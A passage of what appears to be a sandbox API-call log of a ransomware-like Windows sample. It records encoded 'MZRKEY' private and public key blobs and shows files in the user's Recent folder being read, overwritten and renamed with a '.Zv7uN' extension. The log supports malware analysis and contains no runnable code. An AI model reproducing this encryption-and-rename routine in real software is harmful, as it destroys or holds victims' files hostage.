/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0083.800] GetCurrentThreadId () returned 0xa30 [0083.801] GetCurrentThreadId () returned 0xa30 [0083.801] GetCurrentThreadId () returned 0xa30 [0083.801] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.801] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.801] GetCurrentThreadId () returned 0xa30 [0083.802] GetCurrentThreadId () returned 0xa30 [0083.802] GetCurrentThreadId () returned 0xa30 [0083.802] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\upgu6XAw0nd8_3Lb5i.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\upgu6xaw0nd8_3lb5i.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.802] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.802] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.802] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x3a9 [0083.802] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.802] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x3a9, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x3a9, lpOverlapped=0x0) returned 1 [0083.804] CloseHandle (hObject=0x124) returned 1 [0083.804] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\upgu6XAw0nd8_3Lb5i.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\upgu6xaw0nd8_3lb5i.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.806] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x3a9, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x3a9, lpOverlapped=0x0) returned 1 [0083.807] CloseHandle (hObject=0x124) returned 1 [0083.809] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\upgu6XAw0nd8_3Lb5i.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\upgu6xaw0nd8_3lb5i.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\upgu6XAw0nd8_3Lb5i.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\upgu6xaw0nd8_3lb5i.lnk.zv7un")) returned 1 [0083.811] GetCurrentThreadId () returned 0xa30 [0083.811] GetCurrentThreadId () returned 0xa30 [0083.811] GetCurrentThreadId () returned 0xa30 [0083.811] GetCurrentThreadId () returned 0xa30 [0083.811] GetCurrentThreadId () returned 0xa30 [0083.811] GetCurrentThreadId () returned 0xa30 [0083.811] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e34000, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2e34000, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2e34000, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x275, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="u_LT1cVy3Vs87U4LbN7z.lnk", cAlternateFileName="U_LT1C~1.LNK")) returned 1 [0083.811] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.811] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.811] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\u_LT1cVy3Vs87U4LbN7z.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\u_lt1cvy3vs87u4lbn7z.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e34000, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2e34000, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2e34000, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x275)) returned 1 [0083.811] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\u_LT1cVy3Vs87U4LbN7z.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\u_lt1cvy3vs87u4lbn7z.lnk")) returned 0x20 [0083.811] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\u_LT1cVy3Vs87U4LbN7z.lnk", dwFileAttributes=0x80) returned 1 [0083.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8